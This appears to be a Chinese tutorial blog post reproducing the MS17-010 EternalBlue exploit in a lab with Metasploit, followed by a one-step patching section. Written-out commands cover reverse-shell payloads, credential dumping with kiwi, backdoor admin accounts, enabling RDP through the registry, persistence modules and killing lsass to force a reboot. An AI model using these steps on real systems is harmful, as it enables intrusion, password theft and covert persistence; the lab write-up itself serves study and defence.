MS17_010 漏洞利用与安全加固

文章目录

  • 环境说明
  • 1 MS17_010 简介
  • 2 MS17_010 复现过程
  • 3 MS17_010 安全加固

环境说明

  • 渗透机操作系统:kali-linux-2024.1-installer-amd64
  • 漏洞复现操作系统: cn_windows_7_professional_with_sp1_x64_dvd_u_677031

1 MS17_010 简介

MS17_010 漏洞后门利用程序 EternalBlue(从目前使用情况来看,相对比较稳定)可影响 Windows 7和 Windows Server 2008 大部分版本的操作系统,无需认证权限就能实现系统入侵控制;插件工具DoublePulsar 可以远程向目标控制系统注入恶意DLL 或 Payload程序。综合利用这两个工具,入侵成功之后可以对目标系统执行 Empire/Meterpreter 反弹连接控制。在此过程,还需要NSA 使用的类似 Metasploit 的漏洞利用代码攻击框架 FuzzBunch。

Windows SMB 远程任意代码执行漏洞(MS17_010) 包括如下CVE:CVE-2017-0143 严重远程命令、CVE-2017–0144严重 远程命令执行,CVE-2017-0145 严重 远程命令执行、CVE-2017-0146 严重 远程命令执行、CVE-2017-0147重要 信息泄露、CVE-2017-0148 严重 远程命令执行。

漏洞描述如下:

1)SMBv1 server 是其中一个服务器协议组件。

2)Windows 中的SMBv1服务器存在远程代码执行漏洞。

3)远程攻击者可借助特制的数据包利用漏洞执行任意代码。

以下版本受到影响:Windows Vista SP2,Windows Server 2008 SP2 和 R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Glod 和 R2,Windows RT 8.1 ,Windows 10 Glod、1511 和 1607,Windows Server 2016。

2 MS17_010 复现过程

在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing

步骤01、

打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。

在这里插入图片描述

步骤02、

使用ifconfig ipconfig命令分别获取渗透机和靶机的IP的地址,使用ping 命令进行网络 连通性测试,确保网络可达。

渗透机的IP 地址为 192.168.254.134,如图所示。

渗透机的IP地址

在这里插入图片描述

靶机的IP地址为 192.168.254.129,如图所示。

靶机的IP地址

在这里插入图片描述

步骤03、

使用 msfconsole 命令启动Metasploit 渗透测试平台,如图所示。

启动 Metasploit

在这里插入图片描述

步骤04、

使用search 命令搜索 msf 模块,即 auxiliary/scanner/smb/smb_ms17_010,验证目标靶机是否存在此漏洞,如图所示。

搜索 MS17_010 相关模块

在这里插入图片描述

步骤05、

使用 use auxiliary/scanner/smb/smb_ms17_010 命令调用漏洞扫描检测模块。使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOSTS 命令设置靶机地址,使用 exploit 或者 run 命令运行扫描模块,如图所示。

设置目标地址并运行检测

在这里插入图片描述

步骤06、

通过扫描发现目标靶机存在 MS17_010 漏洞,使用 use 命令调用 exploit/windows/smb/ms17_010_eternalblue 漏洞利用模块,如图所示。

调用利用模块

在这里插入图片描述

然后使用 show options 命令查看配置参数,并对目标靶机地址进行设置,如图所示。

查看配置参数

在这里插入图片描述

步骤07、

使用 set PAYLOAD 命令设置一个攻击载荷模块,这里使用HTTPS的Meterpreter 反弹载荷,即 windows/x64/meterpreter/reverse_https,更不易察觉,如图所示。

设置载荷模块

在这里插入图片描述

步骤08、

使用 show opotions 命令查看载荷模块需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOST 命令设置目标靶机地址,如图所示。

设置目标地址

在这里插入图片描述

使用 set LHOST 命令设置本地反弹连接的地址,如图所示。

设置本地地址

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行溢出模块

在这里插入图片描述

步骤09、

使用 getsystem 提权到system权限,如图所示。

在这里插入图片描述

使用 sysinfo 命令查看目标靶机信息,如图所示。

查看目标靶机信息

在这里插入图片描述

步骤10、

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制,如图所示。

因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中

在这里插入图片描述

把进程迁移到PID为492这个程序中(因为当前用户),如图所示。

进程迁移

在这里插入图片描述

使用 load kiwi 命令加载密码获取模块,然后使用 creds_wdigest 命令获取管理员密码,如图所示。

加载密码获取模块

在这里插入图片描述

步骤11、

使用 shell 命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。

获取操作系统的 Shell

在这里插入图片描述

然后使用 ipconfig 命令查看当前网卡的信息,如图所示。

查看网卡信息

在这里插入图片描述

使用 whoami 命令查看当前的系统权限,如图所示。

查看用户权限

在这里插入图片描述

步骤12、

使用 net user 账户名 密码 /add 命令添加账户,然后进行提权,如图所示。

查看后门用户

在这里插入图片描述

使用 net localgroup administrtors 后门用户 /add 命令将后门用户提升为管理员权限,如图所示。

添加用户至管理员分组

在这里插入图片描述

步骤13、

使用 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 命令设置注册表,如图所示。

设置注册表,开启远程访问

在这里插入图片描述

步骤14、

使用 rdesktop 靶机IP地址 命令 启动远程桌面连接终端,并使用后门用户进行登录,如图所示。

登录靶机系统

在这里插入图片描述

登录成功,成功渗透,如图所示。

成功登录靶机。

在这里插入图片描述

步骤15、

在 Meterperter 命令下,使用 background 命令将 Meterpreter终端隐藏在后台,执行其他任务,如图所示。

将 Meterpreter终端隐藏在后台

在这里插入图片描述

使用 use exploit/windows/local/persistence 命令植入持续后门,再使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数
在这里插入图片描述

使用 set SESSION 命令设置刚才获得权限的会话,使用 set STARTUP 设置SYSTEM启动,如图所示。

设置获得权限的会话

在这里插入图片描述

使用 set LHOST 命令设置载荷模块监听的本地地址,使用 set LPORT 命令设置载荷模块的监听的本地端口,如图所示。

设置相关参数

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行维持权限模块

在这里插入图片描述

步骤16、

首先按 <Ctrl + Shift + T> 组合键打开一个新窗口,然后使用 use /exploit/multi/handler 命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp 命令,设置本地监听的地址 192.168.254.134,设置监听端口 3306,最后使用 show options 命令查看最终的配置,如图所示。

查看配置参数

在这里插入图片描述

步骤17、

在之前的 Meterpreter 下使用 reboot 命令重启目标靶机,此时靶机将重新启动并加载之前的持续后门,如图所示。

获得操作系统的Shell,由于权限不够,重启失败

在这里插入图片描述

由于权限不够而导致重启失败,可尝试终止 lsass.exe 进程,让系统进入异常重启状态,如图所示。

查找 lsass.exe 进程的PID,终止 lsass.exe 进程

在这里插入图片描述

如果没有出现由于权限不够而导致重启失败,正常情况下重启系统,在监听会有后门脚本主动连接上,如图所示。

运行溢出模块

在这里插入图片描述

若重启后发现该后门脚本无法正常运行,如图所示。根据后门维持脚本生成的文件目录找到该脚本文件,可推测是由于系统安全机制拦截,如图所示。

在这里插入图片描述

在这里插入图片描述

此时需要手动将该脚本复制到开机自启动项中:C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,如图所示。

在这里插入图片描述

步骤18、

在 windows/handler 模块下使用 set LHOST (渗透剂IP)set LPORT (监听端口) 命令,最后使用 exploit -j 命令进行后台监听,再次重启目标靶机然后等待持续后门的自动连接,至此后门维持结束。

3 MS17_010 安全加固

步骤19、

大多数用户启用了 “自动更新”,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启用“启动更新” 的用户必须检查更新并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员、企业安装或者想要手动安装此安全更新的最终用户,Microsoft 建议使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新,如图所示。

官方安全公告

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/549500.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【K8S】docker和K8S(kubernetes)理解?docker是什么?K8S架构、Master节点 Node节点 K8S架构图

docker和K8S理解 一、docker的问世虚拟机是什么&#xff1f;Docker的问世&#xff1f;docker优点及理解 二、Kubernetes-K8SK8S是什么&#xff1f;简单了解K8S架构Master节点Node节点K8S架构图 一、docker的问世 在LXC(Linux container)Linux容器虚拟技术出现之前&#xff0c;业…

java8:ArrayList与Vector的实现原理

概述 一上来&#xff0c;先来看看源码中的这一段注释&#xff0c;我们可以从中提取到一些关键信息&#xff1a; Resizable-array implementation of the List interface. Implements all optional list operations, and permits all elements, including null. In addition to…

内网穿透的应用-如何使用Docker安装DockerUI可视化管理工具无公网IP远程访问

文章目录 前言1. 安装部署DockerUI2. 安装cpolar内网穿透3. 配置DockerUI公网访问地址4. 公网远程访问DockerUI5. 固定DockerUI公网地址 前言 DockerUI是一个docker容器镜像的可视化图形化管理工具。DockerUI可以用来轻松构建、管理和维护docker环境。它是完全开源且免费的。基…

Flutter-数字切换动画

效果 需求 数字切换时新数字从上往下进入&#xff0c;上个数字从上往下出新数字进入时下落到位置并带有回弹效果上个数字及新输入切换时带有透明度和缩放动画 实现 主要采用AnimatedSwitcher实现需求&#xff0c;代码比较简单&#xff0c;直接撸 import dart:math;import p…

huawei 华为交换机 配置手工模式链路聚合示例

组网需求 如 图 3-21 所示&#xff0c; SwitchA 和 SwitchB 通过以太链路分别都连接 VLAN10 和 VLAN20 的网络&#xff0c;SwitchA 和 SwitchB 之间有较大的数据流量。 用户希望SwitchA 和 SwitchB 之间能够提供较大的链路带宽来使相同 VLAN 间互相通信。 同时用户也希望能够提…

HarmonyOS NEXT应用开发—投票动效实现案例

介绍 本示例介绍使用绘制组件中的Polygon组件配合使用显式动画以及borderRadius实现投票pk组件。 效果预览图 使用说明 加载完成后会有一个胶囊块被切割成两个等大的图形来作为投票的两个选项&#xff0c;中间由PK两字分隔开点击左边选项&#xff0c;两个图形会随着选择人数…

Django templates 存放html目录

模板 一概述 模板由两部分组成&#xff0c;一部分是HTML代码&#xff0c;一部分是逻辑控制代码&#xff08;变量&#xff0c;标签&#xff0c;过滤器&#xff09; 作用&#xff1a;可以通过一些逻辑控制代码减少一些重复的操作更快速的生成HTML代码&#xff0c;并且实现简单的…

Jenkins使用pipeline流水线部署项目

新建流水线任务 前面的项目整个部署日志都在一个控制台页面&#xff0c;出现了错误不能快速定位不方便查阅 Jenkins提供了流水线方式的任务 这里我新建一个叫“pipeline-mytest”的流水线任务 在流水线出右侧有内置的样式&#xff0c;这里我选择了helloworld的样式。 构建一…

Qt5.14.2 深入理解Qt多线程编程,掌握线程池架构实现高效并发

在高并发的软件系统中&#xff0c;多线程编程是解决性能瓶颈和提高系统吞吐量的有效手段。作为跨平台的应用程序开发框架&#xff0c;Qt为我们提供了强大的多线程支持。本文将深入探讨Qt多线程编程的实现细节&#xff0c;并介绍线程池的设计思想&#xff0c;帮助读者彻底掌握Qt…

Linux设置IP地址多种方法保姆级教程,外加修改主机名并通过生成密钥,组建机群。

[引入提问] 怎么设置linux服务器的名称&#xff1f; 方法1&#xff1a; nmtui—自动打开设置机器名称的操作界面---输入即可。重启hostnamed服务&#xff0c; systemctl restart system-hostnamed 方法2&#xff1a; 直接编辑 vim /etc/hostname &#xff0c;输入新的…

Spring boot2.7整合jetcache方法缓存

前面的文章 我们讲了 spring boot 整合 jetcache 做基本字符串数据缓存 但是 我这里有个这样的逻辑 我的 domain 包下 有一个 book 属性类 里面就 id 和 name 属性 设置了 对应的 set get函数 和一个整体的构造函数 package com.example.javadom.domain;public class book {pr…

视频技术1:使用ABLMediaServer推流rtsp

ABLMediaServer定位是高性能、高稳定、开箱即用、商用级别的流媒体服务器 下边展示了如何把1个mp3作为输入源&#xff0c;转换为rtsp流的过程。 作用&#xff1a;用rtsp模拟摄像头的视频流 1、启动ABLMediaServer ABLMediaServer-2024-03-13\WinX64\ABLMediaServer.exe 配…